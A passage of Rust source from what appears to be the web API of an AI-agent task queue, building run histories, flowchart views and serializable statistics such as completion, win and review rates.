6314            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6315            RunStatus::VerifiedNoop => {
6316                "Verified no-op: the candidates found nothing to change.".to_owned()
6317            }
6318            other if other.done() => format!("Ended {}.", other.display_label()),
6319            other => format!("In progress ({}).", other.display_label()),
6320        }
6321    };
6322    let view = pass.map(|p| PassView::of(p, settled));
6323    let recorded_end = view
6324        .as_ref()
6325        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6326    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6327        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6328        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6329        None => "whether its attempt was handed back was not recorded",
6330    };
6331    let pass_note = if passes_of_run > 1 {
6332        format!(
6333            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6334        )
6335    } else {
6336        String::new()
6337    };
6338    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6339        // The run recorded this pass's end when it happened.
6340        let cause = match v.end {
6341            "parked" => format!("It was stopped on purpose: {}.", v.label),
6342            _ => format!("It {}.", v.label),
6343        };
6344        format!(
6345            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6346            capitalise(cost_words)
6347        )
6348    } else if let Some(k) = resumed_later {
6349        // A run is only picked up again while it is unfinished, so an earlier
6350        // pass of a repeated id stopped short; the record keeps only the run's
6351        // latest status, which is left to the pass that carried it on.
6352        // Only the latest state is recorded: `parked` is cleared on resume
6353        // and `quota` accumulates across passes, so neither says why *this*
6354        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6355        let cause = if s.quota.is_empty() {
6356            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6357        } else {
6358            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6359        };
6360        format!(
6361            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6362        )
6363    } else if s.parked {
6364        match recorded_end.and_then(|v| v.cause.as_ref()) {
6365            Some(cause) => format!(
6366                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6367                cause.label(),
6368                cost_words
6369            ),
6370            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6371                .to_owned(),
6372        }
6373    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6374        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6375    } else if !status.done()
6376        || matches!(
6377            status,
6378            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6379        )
6380    {
6381        String::new()
6382    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6383        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6384    {
6385        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6386            .to_owned()
6387    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6388        " It left a pull request open, so the task was held for a person rather than retried."
6389            .to_owned()
6390    } else if matches!(status, RunStatus::VerifiedNoop) {
6391        " Held for a person to check the claim.".to_owned()
6392    } else if last {
6393        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6394    } else {
6395        " It spent an attempt, and the task moved on to the next run.".to_owned()
6396    };
6397    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6398    let mut attempt = exit.cost();
6399    let mut exit_label = None;
6400    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6401        let spent = match v.cost {
6402            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6403            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6404            None if resumed_later.is_some() => ", refund not recorded",
6405            None => ", attempt refunded",
6406        };
6407        attempt = match v.cost {
6408            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6409            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6410            None if resumed_later.is_some() => AttemptCost::Unknown,
6411            None => attempt,
6412        };
6413        if v.end == "parked" {
6414            exit = RunExit::Parked;
6415            exit_label = Some(match v.cause.as_ref() {
6416                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6417                    format!("parked for {}{spent}", c.label())
6418                }
6419                Some(c) => format!("parked ({}){spent}", c.label()),
6420                None => format!("parked{spent}"),
6421            });
6422        } else {
6423            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6424        }
6425    }
6426    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6427    TaskRunView {
6428        activity: None,
6429        n,
6430        id: id.to_owned(),
6431        short,
6432        kind,
6433        status: Some(status.as_str()),
6434        readable: true,
6435        provisional,
6436        description,
6437        outcome: format!("{head}{why}"),
6438        created_at: Some(s.created_at),
6439        pr: s.pr.as_ref().map(|p| p.url.clone()),
6440        exit,
6441        attempt,
6442        exit_label,
6443        later_pass: resumed_later,
6444        pass_n,
6445        passes_of_run,
6446        pass: view,
6447        branch: branch.map(str::to_owned),
6448        badge: None,
6449    }
6450}
6451
6452fn capitalise(s: &str) -> String {
6453    let mut c = s.chars();
6454    c.next().map_or_else(String::new, |f| {
6455        f.to_uppercase().collect::<String>() + c.as_str()
6456    })
6457}
6458
6459/// One box of the task's flowchart.
6460#[derive(Debug, Serialize, PartialEq)]
6461struct FlowNode {
6462    /// Unique by position: a resumed run id appears once per pass.
6463    key: String,
6464    /// `chat`, `followup`, `start`, `run` or `end`.
6465    kind: &'static str,
6466    label: String,
6467    /// Run status (or the task's, for `end`); `None` when it is not a fact
6468    /// about this box (unreadable, or a pass the run later resumed from).
6469    status: Option<&'static str>,
6470    /// Whose status `status` is, so the client picks the right colour table:
6471    /// `task` (the `followup` parent and `end`) or `run`.
6472    status_of: &'static str,
6473    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6474    note: Option<&'static str>,
6475    run_kind: Option<&'static str>,
6476    detail: Option<String>,
6477    /// A readable run with a real verdict; a stall never is.
6478    decided: bool,
6479    readable: bool,
6480    href: Option<String>,
6481    /// Overrides `status` as the badge word (`stale` / `superseded`).
6482    badge: Option<String>,
6483    /// Start of this entry, never the run's latest update or pass settlement.
6484    started_at: Option<Timestamp>,
6485    /// Context links (chat / follow-up) do not represent execution entries.
6486    time_expected: bool,
6487}
6488
6489#[derive(Debug, Serialize, PartialEq)]
6490struct FlowEdge {
6491    from: String,
6492    to: String,
6493    label: String,
6494    attempt: AttemptCost,
6495}
6496
6497#[derive(Debug, Serialize, PartialEq)]
6498struct FlowView {
6499    nodes: Vec<FlowNode>,
6500    edges: Vec<FlowEdge>,
6501    /// Attempts the task has counted since it was last released.
6502    attempts: usize,
6503    max_attempts: usize,
6504    /// Entries in the run list (passes), and how many distinct runs they are.
6505    /// Neither is the number of attempts consumed.
6506    passes: usize,
6507    runs: usize,
6508}
6509
6510/// Turn a task and its described runs into the flowchart's boxes and arrows.
6511/// Pure: the page only draws what this returns.
6512///
6513/// A follow-up opens with its parent (or the merged run) unless the task's
6514/// *source* is itself a chat, in which case the chat stays first and the
6515/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6516/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6517/// two normally do not coincide and the nearer origin wins.
6518fn task_flow(
6519    task: &Task,
6520    history: &[TaskRunView],
6521    max_attempts: usize,
6522    origin: Option<&FollowUpOrigin>,
6523) -> FlowView {
6524    let max_attempts = task.effective_attempt_limit(max_attempts);
6525    let node = |key: &str, kind, label: String| FlowNode {
6526        key: key.to_owned(),
6527        kind,
6528        label,
6529        status: None,
6530        status_of: "run",
6531        note: None,
6532        run_kind: None,
6533        detail: None,
6534        decided: false,
6535        readable: true,
6536        href: None,
6537        badge: None,
6538        started_at: None,
6539        time_expected: matches!(kind, "start" | "run" | "end"),
6540    };
6541    let mut nodes = Vec::new();
6542    let mut edges: Vec<FlowEdge> = Vec::new();
6543    // A task queued from a chat opens the flow with that conversation.
6544    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6545        let mut n = node(
6546            "chat",
6547            "chat",
6548            format!("Chat {}", crate::queue::short(&link.id)),
6549        );
6550        n.href = Some(link.href);
6551        nodes.push(n);
6552        edges.push(FlowEdge {
6553            from: "chat".to_owned(),
6554            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6555            label: "queued from chat".to_owned(),
6556            attempt: AttemptCost::None,
6557        });
6558    }
6559    if let Some(o) = origin {
6560        let mut n = match &o.parent {
6561            Some(p) => {
6562                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6563                n.status = Some(p.status);
6564                n.status_of = "task";
6565                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6566                n.href = Some(p.href.clone());
6567                n
6568            }
6569            None => {
6570                let mut n = node(
6571                    "origin",
6572                    "followup",
6573                    format!("Follow-up of run {}", o.run.short),
6574                );
6575                n.detail = Some("merged run".to_owned());
6576                n.status = o.run.status;
6577                n.href = o.run.href.clone();
6578                if o.run.href.is_none() {
6579                    n.readable = false;
6580                    n.note = Some("unreadable");
6581                }
6582                n
6583            }
6584        };
6585        n.decided = true;
6586        let from = n.key.clone();
6587        nodes.push(n);
6588        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6589        let more = o.findings.len().saturating_sub(shown.len());
6590        let label = match (shown.is_empty(), more) {
6591            (true, _) => "open findings".to_owned(),
6592            (false, 0) => format!("open findings {}", shown.join(", ")),
6593            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6594        };
6595        edges.push(FlowEdge {
6596            from,
6597            to: "start".to_owned(),
6598            label,
6599            attempt: AttemptCost::None,
6600        });
6601    }
6602    let mut start = node("start", "start", "Task queued".to_owned());
6603    start.started_at = Some(task.created_at);
6604    nodes.push(start);
6605    let mut prev = "start".to_owned();
6606    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6607    for (i, h) in history.iter().enumerate() {
6608        let key = format!("run-{}", h.n);
6609        let mut n = node(&key, "run", format!("Run {}", h.short));
6610        // Creation marks only the first pass of legacy runs. A resumed pass
6611        // without a record must not inherit the original run's start time.
6612        n.started_at = h
6613            .readable
6614            .then(|| {
6615                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6616                    h.created_at
6617                } else {
6618                    None
6619                })
6620            })
6621            .flatten();
6622        n.run_kind = Some(h.kind);
6623        n.readable = h.readable;
6624        n.href = Some(format!("#/runs/{}", h.id));
6625        n.decided = h.readable && !h.provisional;
6626        n.detail = h
6627            .branch
6628            .as_ref()
6629            .map(|b| format!("review-only run of branch {b}"));
6630        match h.exit {
6631            RunExit::Unreadable => n.note = Some("unreadable"),
6632            RunExit::Interrupted => n.note = Some("interrupted"),
6633            // An earlier pass the run recorded as parked: the status shown
6634            // would be the run's current one, not this pass's.
6635            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6636            _ => {
6637                n.status = h.status;
6638                n.badge = h.badge.clone();
6639                if h.provisional {
6640                    n.note = Some("no verdict");
6641                }
6642            }
6643        }
6644        let into = match h.kind {
6645            "review" => Some(format!(
6646                "review-only run of branch {}",
6647                h.branch.as_deref().unwrap_or("?")
6648            )),
6649            "resume" => Some("resume the same run".to_owned()),
6650            _ if i > 0 => Some("retry".to_owned()),
6651            _ => None,
6652        };
6653        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6654        let label = match (prev_exit, into) {
6655            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6656            (Some((_, l, _)), None) => l,
6657            (None, Some(i)) => i,
6658            (None, None) => "claimed".to_owned(),
6659        };
6660        edges.push(FlowEdge {
6661            from: prev.clone(),
6662            to: key.clone(),
6663            label,
6664            attempt,
6665        });
6666        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6667        prev = key;
6668        nodes.push(n);
6669    }
6670    let mut end = node("end", "end", task.status.as_str().to_owned());
6671    end.status = Some(task.status.as_str());
6672    end.status_of = "task";
6673    // Other task states do not persist their transition start. In particular,
6674    // blocked_at can change while the task remains blocked.
6675    if task.status == TaskStatus::Held {
6676        end.started_at = task.held_at;
6677    }
6678    nodes.push(end);
6679    let (label, attempt) = match prev_exit {
6680        None => (
6681            format!("no run yet \u{2192} {}", task.status.as_str()),
6682            AttemptCost::None,
6683        ),
6684        Some((e, l, cost)) if e.explains(task.status) => {
6685            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6686        }
6687        Some((_, _, cost)) => (
6688            format!("closed by hand: task is {}", task.status.as_str()),
6689            cost,
6690        ),
6691    };
6692    edges.push(FlowEdge {
6693        from: prev,
6694        to: "end".to_owned(),
6695        label,
6696        attempt,
6697    });
6698    FlowView {
6699        nodes,
6700        edges,
6701        attempts: task.attempts,
6702        max_attempts,
6703        passes: history.len(),
6704        runs: distinct_runs(&task.runs),
6705    }
6706}
6707
6708/// How many different run ids a task's run list names.
6709fn distinct_runs(runs: &[String]) -> usize {
6710    let mut seen: Vec<&str> = Vec::new();
6711    for r in runs {
6712        if !seen.contains(&r.as_str()) {
6713            seen.push(r);
6714        }
6715    }
6716    seen.len()
6717}
6718
6719/// Describe recorded task passes, retaining unrecorded legacy list entries.
6720fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6721    let mut slots = Vec::new();
6722    let mut seen = Vec::new();
6723    for run_id in &task.runs {
6724        if seen.contains(&run_id) {
6725            continue;
6726        }
6727        seen.push(run_id);
6728        let state = read(run_id);
6729        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6730            s.passes
6731                .iter()
6732                .filter(|p| {
6733                    p.task_entry
6734                        || task
6735                            .passes
6736                            .iter()
6737                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6738                })
6739                .cloned()
6740                .collect()
6741        });
6742        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6743        let total = legacy_count.max(mine.len());
6744        let offset = total - mine.len();
6745        for k in 0..total {
6746            // Legacy repeated entries retain their original positions. When
6747            // ids are unique, recorded pass times recover the resume order.
6748            let position = task
6749                .runs
6750                .iter()
6751                .enumerate()
6752                .filter(|(_, r)| *r == run_id)
6753                .nth(k.min(legacy_count - 1))
6754                .unwrap()
6755                .0;
6756            slots.push((
6757                run_id,
6758                state.clone(),
6759                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6760                position,
6761            ));
6762        }
6763    }
6764    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6765        slots.sort_by_key(|(_, state, pass, _)| {
6766            pass.as_ref()
6767                .map(|p| p.started_at)
6768                .or_else(|| state.as_ref().map(|s| s.created_at))
6769                .map_or((true, task.created_at), |at| (false, at))
6770        });
6771    } else {
6772        slots.sort_by_key(|(_, _, _, position)| *position);
6773    }
6774    let mut history = Vec::with_capacity(slots.len());
6775    let mut seen: Vec<&str> = Vec::new();
6776    let mut prior: Option<(&str, RunStatus)> = None;
6777    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6778        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6779        let resumed = k > 0;
6780        seen.push(run_id);
6781        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6782        let pass = pass.as_ref();
6783        let settled = pass.and_then(|p| {
6784            task.passes
6785                .iter()
6786                .find(|t| t.run == **run_id && t.pass_index == p.index)
6787        });
6788        history.push(task_run_view(
6789            run_id,
6790            state.as_ref(),
6791            RunSlot {
6792                n: i + 1,
6793                resumed,
6794                resumed_later: slots[i + 1..]
6795                    .iter()
6796                    .position(|(id, _, _, _)| id == run_id)
6797                    .map(|off| i + off + 2),
6798                prior,
6799                last: i + 1 == slots.len(),
6800                pass,
6801                settled,
6802                pass_n: k + 1,
6803                passes_of_run: total,
6804            },
6805            task,
6806        ));
6807        if let Some(s) = &state {
6808            prior = Some((run::short_of(run_id), s.status));
6809        }
6810    }
6811    history
6812}
6813
6814/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6815/// An earlier pass of a resumed run keeps no badge (it has no status box).
6816fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6817    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6818        return;
6819    }
6820    let (_, claimed, _) = run_row_inputs(ui);
6821    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6822    for h in history
6823        .iter_mut()
6824        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6825    {
6826        let Ok(state) = read_run(&ui.runs, &h.id) else {
6827            continue;
6828        };
6829        if state.status.done() {
6830            continue;
6831        }
6832        let live = state.liveness_with(
6833            claimed.contains(&h.id),
6834            |p| probe.borrow_mut().status(p),
6835            |p| probe.borrow_mut().started_at(p),
6836        );
6837        let waiting = !ui.questions.open_for(&h.id).is_empty();
6838        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6839        let display = run_display_status(&state, waiting, live);
6840        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6841        if matches!(word.as_str(), "stale" | "superseded")
6842            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6843        {
6844            h.badge = Some(word);
6845        }
6846    }
6847}
6848
6849async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6850    blocking(move || {
6851        let id = resolve_task(&ui.queue, &id)?;
6852        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6853    })
6854    .await
6855}
6856
6857async fn task_detail(
6858    State(ui): State<Arc<Ui>>,
6859    Path(id): Path<String>,
6860) -> ApiResult<Json<TaskDetailView>> {
6861    blocking(move || {
6862        let id = resolve_task(&ui.queue, &id)?;
6863        let task = ui
6864            .queue
6865            .get(&id)
6866            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6867        let inv = if task.status == TaskStatus::Blocked {
6868            Some(crate::blockers::Inventory::load_for(
6869                &ui.queue,
6870                &ui.questions,
6871                &task,
6872            ))
6873        } else {
6874            None
6875        };
6876        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6877        mark_badges(&ui, &task, &mut history);
6878        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6879        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6880        let origin = task.followup.as_ref().map(|fu| {
6881            followup_origin(
6882                fu,
6883                |tid| ui.queue.get(tid).ok(),
6884                |rid| read_run(&ui.runs, rid).ok(),
6885            )
6886        });
6887        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6888        let task_view = match inv.as_ref() {
6889            Some(inv) => TaskView::with_inventory(task, inv),
6890            None => TaskView::from(task),
6891        }
6892        .with_recovery_decisions(&ui.questions);
6893        Ok(Json(TaskDetailView {
6894            max_attempts,
6895            flow,
6896            followup_origin: origin,
6897            passes_total: history.len(),
6898            runs_distinct: distinct_runs(&task_view.task.runs),
6899            history,
6900            runs_unreadable,
6901            attempts_note: ATTEMPTS_NOTE,
6902            task: task_view,
6903        }))
6904    })
6905    .await
6906}
6907
6908/// A rate together with its denominator, so the client can tell "computed as
6909/// 0%" apart from "no data to compute it from" — both would otherwise
6910/// serialize as `0.0`. `None` means the denominator was zero.
6911#[derive(Debug, Serialize)]
6912struct RateView {
6913    pct: f64,
6914    denominator: usize,
6915}
6916
6917impl RateView {
6918    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6919        (denominator > 0).then(|| Self {
6920            pct: 100.0 * numerator as f64 / denominator as f64,
6921            denominator,
6922        })
6923    }
6924}
6925
6926/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6927/// rates, each paired with its own denominator via [`RateView`] rather than
6928/// exposing `Stats`' own percentage methods directly — see this module's
6929/// doc for why `Stats` itself is never serialized.
6930#[derive(Debug, Serialize)]
6931struct StatsTotalsView {
6932    runs: usize,
6933    merged: usize,
6934    ready: usize,
6935    blocked: usize,
6936    failed: usize,
6937    stalled: usize,
6938    verified_noop: usize,
6939    superseded: usize,
6940    in_progress: usize,
6941    completion_rate: Option<RateView>,
6942    tallied: usize,
6943    split: usize,
6944    split_rate: Option<RateView>,
6945    deliberated: usize,
6946    minds_changed: usize,
6947    converged: usize,
6948    review_rounds: usize,
6949}
6950
6951impl From<&stats::Totals> for StatsTotalsView {
6952    fn from(t: &stats::Totals) -> Self {
6953        Self {
6954            runs: t.runs,
6955            merged: t.merged,
6956            ready: t.ready,
6957            blocked: t.blocked,
6958            failed: t.failed,
6959            stalled: t.stalled,
6960            verified_noop: t.verified_noop,
6961            superseded: t.superseded,
6962            in_progress: t.in_progress,
6963            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6964            tallied: t.tallied,
6965            split: t.split,
6966            split_rate: RateView::of(t.split, t.tallied),
6967            deliberated: t.deliberated,
6968            minds_changed: t.minds_changed,
6969            converged: t.converged,
6970            review_rounds: t.review_rounds,
6971        }
6972    }
6973}
6974
6975/// [`crate::stats::AgentStats`] for the wire.
6976#[derive(Debug, Serialize)]
6977struct AgentStatsView {
6978    agent: String,
6979    entered: usize,
6980    wins: usize,
6981    empty: usize,
6982    win_rate: Option<RateView>,
6983    competitive_entered: usize,
6984    competitive_wins: usize,
6985    competitive_win_rate: Option<RateView>,
6986    solo_entered: usize,
6987    solo_adopted: usize,
6988    solo_adoption_rate: Option<RateView>,
6989}
6990
6991impl From<&stats::AgentStats> for AgentStatsView {
6992    fn from(a: &stats::AgentStats) -> Self {
6993        Self {
6994            agent: a.agent.clone(),
6995            entered: a.entered,
6996            wins: a.wins,
6997            empty: a.empty,
6998            win_rate: RateView::of(a.wins, a.entered),
6999            competitive_entered: a.competitive_entered,
7000            competitive_wins: a.competitive_wins,
7001            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7002            solo_entered: a.solo_entered,
7003            solo_adopted: a.solo_adopted,
7004            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7005        }
7006    }
7007}
7008
7009/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7010/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7011/// value, `None` when `rounds` is zero.
7012#[derive(Debug, Serialize)]
7013struct ReviewerStatsView {
7014    agent: String,
7015    rounds: usize,
7016    seated: usize,
7017    submitted: usize,
7018    adopted: usize,
7019    unique: usize,
7020    timeouts: usize,
7021    adopted_per_round: Option<f64>,
7022    precision: Option<RateView>,
7023    unique_rate: Option<RateView>,
7024    timeout_rate: Option<RateView>,
7025}
7026
7027impl From<&stats::ReviewerStats> for ReviewerStatsView {
7028    fn from(r: &stats::ReviewerStats) -> Self {
7029        Self {
7030            agent: r.agent.clone(),
7031            rounds: r.rounds,
7032            seated: r.seated,
7033            submitted: r.submitted,
7034            adopted: r.adopted,
7035            unique: r.unique,
7036            timeouts: r.timeouts,
7037            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7038            precision: RateView::of(r.adopted, r.submitted),
7039            unique_rate: RateView::of(r.unique, r.submitted),
7040            timeout_rate: RateView::of(r.timeouts, r.seated),
7041        }
7042    }
7043}
7044
7045/// [`crate::stats::AdvisorStats`] for the wire.
7046///
7047/// `reflection_rate` is approximate by construction — see
7048/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7049/// that caveat is static text in `index.html`, not a field here.
7050#[derive(Debug, Serialize)]
7051struct AdvisorStatsView {
7052    agent: String,
7053    seated: usize,
7054    proposed: usize,
7055    absent: usize,
7056    faint: usize,
7057    strong: usize,
7058    reflection_rate: Option<RateView>,
7059}
7060
7061impl From<&stats::AdvisorStats> for AdvisorStatsView {
7062    fn from(a: &stats::AdvisorStats) -> Self {
7063        Self {
7064            agent: a.agent.clone(),
7065            seated: a.seated,
7066            proposed: a.proposed,
7067            absent: a.absent,
7068            faint: a.faint,
7069            strong: a.strong,
7070            reflection_rate: RateView::of(a.strong, a.proposed),
7071        }
7072    }
7073}
7074
7075/// [`crate::stats::E2eStats`] for the wire.
7076#[derive(Debug, Serialize)]
7077struct E2eStatsView {
7078    rounds: usize,
7079    failures: usize,
7080    sole_detections: usize,
7081    deferred: usize,
7082    sole_rate: Option<RateView>,
7083}
7084
7085impl From<&stats::E2eStats> for E2eStatsView {
7086    fn from(e: &stats::E2eStats) -> Self {
7087        Self {
7088            rounds: e.rounds,
7089            failures: e.failures,
7090            sole_detections: e.sole_detections,
7091            deferred: e.deferred,
7092            sole_rate: RateView::of(e.sole_detections, e.failures),
7093        }
7094    }
7095}
7096
7097/// [`crate::stats::ReleaseBumpStats`] for the wire.
7098///
7099/// `clean` is sent as a raw count, computed the same way
7100/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7101/// needs_attention`) — never derived client-side from `automerge_enabled`,
7102/// which would misclassify a `merged_directly` bump (automerge rejected, but
7103/// magi merged it directly, so no human involvement) as needing attention.
7104#[derive(Debug, Serialize)]
7105struct ReleaseBumpStatsView {
7106    merged: usize,
7107    recorded: usize,
7108    pr_opened: usize,
7109    automerge_enabled: usize,
7110    merged_directly: usize,
7111    needs_attention: usize,
7112    clean: usize,
7113    coverage_rate: Option<RateView>,
7114    automerge_rate: Option<RateView>,
7115    attention_rate: Option<RateView>,
7116}
7117
7118impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7119    fn from(b: &stats::ReleaseBumpStats) -> Self {
7120        Self {
7121            merged: b.merged,
7122            recorded: b.recorded,
7123            pr_opened: b.pr_opened,
7124            automerge_enabled: b.automerge_enabled,
7125            merged_directly: b.merged_directly,
7126            needs_attention: b.needs_attention,
7127            clean: b.clean(),
7128            coverage_rate: RateView::of(b.recorded, b.merged),
7129            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7130            attention_rate: RateView::of(b.needs_attention, b.recorded),
7131        }
7132    }
7133}
7134
7135/// [`crate::queue::TaskCounts`] for the wire.
7136#[derive(Debug, Serialize)]
7137struct TaskCountsView {
7138    queued: usize,
7139    running: usize,
7140    done: usize,
7141    failed: usize,
7142    held: usize,
7143    blocked: usize,
7144    parked: usize,
7145}
7146
7147impl From<crate::queue::TaskCounts> for TaskCountsView {
7148    fn from(c: crate::queue::TaskCounts) -> Self {
7149        Self {
7150            queued: c.queued,
7151            running: c.running,
7152            done: c.done,
7153            failed: c.failed,
7154            held: c.held,
7155            blocked: c.blocked,
7156            parked: c.parked,
7157        }
7158    }
7159}
7160
7161/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7162/// runs recorded — the summary the UI's repository selector is built from.
7163/// Carries no nested `Stats`: picking a repo means re-fetching
7164/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7165/// aggregation rather than duplicating it.
7166#[derive(Debug, Serialize)]
7167struct RepoSummaryView {
7168    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7169    /// against, full path and all (see [`stats_get`]'s own doc for why).
7170    repo: String,
7171    /// Display name only; never used for matching.
7172    name: String,
7173    runs: usize,
7174    completion_rate: Option<RateView>,
7175}
7176
7177impl From<&stats::RepoStats> for RepoSummaryView {
7178    fn from(r: &stats::RepoStats) -> Self {
7179        let t = &r.stats.totals;
7180        Self {
7181            repo: r.repo.to_string_lossy().into_owned(),
7182            name: r.name.clone(),
7183            runs: t.runs,
7184            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7185        }
7186    }
7187}
7188
7189/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7190/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7191/// renders from them) are free to grow without that becoming a wire-contract
7192/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7193/// data" from "computed and it really is zero" the way [`RateView`] does.
7194#[derive(Debug, Serialize)]
7195struct StatsView {
7196    totals: StatsTotalsView,
7197    /// Best win rate first, as [`stats::collect`] already sorts it.
7198    agents: Vec<AgentStatsView>,
7199    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7200    reviewers: Vec<ReviewerStatsView>,
7201    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7202    advisors: Vec<AdvisorStatsView>,
7203    e2e: E2eStatsView,
7204    release_bumps: ReleaseBumpStatsView,
7205    queue: Option<TaskCountsView>,
7206    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7207    /// that field's doc. Asserted to match it in
7208    /// `stats_runs_unreadable_matches_health`.
7209    ///
7210    /// Always the whole-workload count, even when `repo` narrows every other
7211    /// field to one repository - an unreadable `run.json` carries no `repo`
7212    /// a per-repository count could attribute it to, and the queue/health
7213    /// views this mirrors never scope it either. The UI must not present it
7214    /// as if it were scoped to the selected repository.
7215    runs_unreadable: usize,
7216    /// Every repository with runs recorded, most runs first - what the UI's
7217    /// repository selector is built from. Always the full list regardless of
7218    /// `repo`, so switching repositories never needs a second request.
7219    repos: Vec<RepoSummaryView>,
7220    /// Runs per local day over the last 30 days, oldest first, always 30
7221    /// entries. Days are the *server's* local dates (the UI must not convert
7222    /// them again), cut by run creation and classified by current status.
7223    /// Narrowed by `repo` like every other run-derived field.
7224    daily: Vec<DailyStatsView>,
7225    /// The `?repo=` value this response was narrowed to, echoed back so the
7226    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7227    /// all-repositories view.
7228    repo: Option<String>,
7229    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7230    /// current config roster no longer lists them. Empty with `?all=true`, an
7231    /// unreadable config, or when nothing was retired.
7232    retired_hidden: Vec<String>,
7233}
7234
7235/// One day of [`StatsView::daily`].
7236#[derive(Debug, Serialize)]
7237struct DailyStatsView {
7238    /// `YYYY-MM-DD`, server-local.
7239    date: String,
7240    runs: usize,
7241    merged: usize,
7242    ready: usize,
7243    other: usize,
7244    /// `None` on a day with no runs, so it never reads as 0%.
7245    completion_rate: Option<RateView>,
7246}
7247
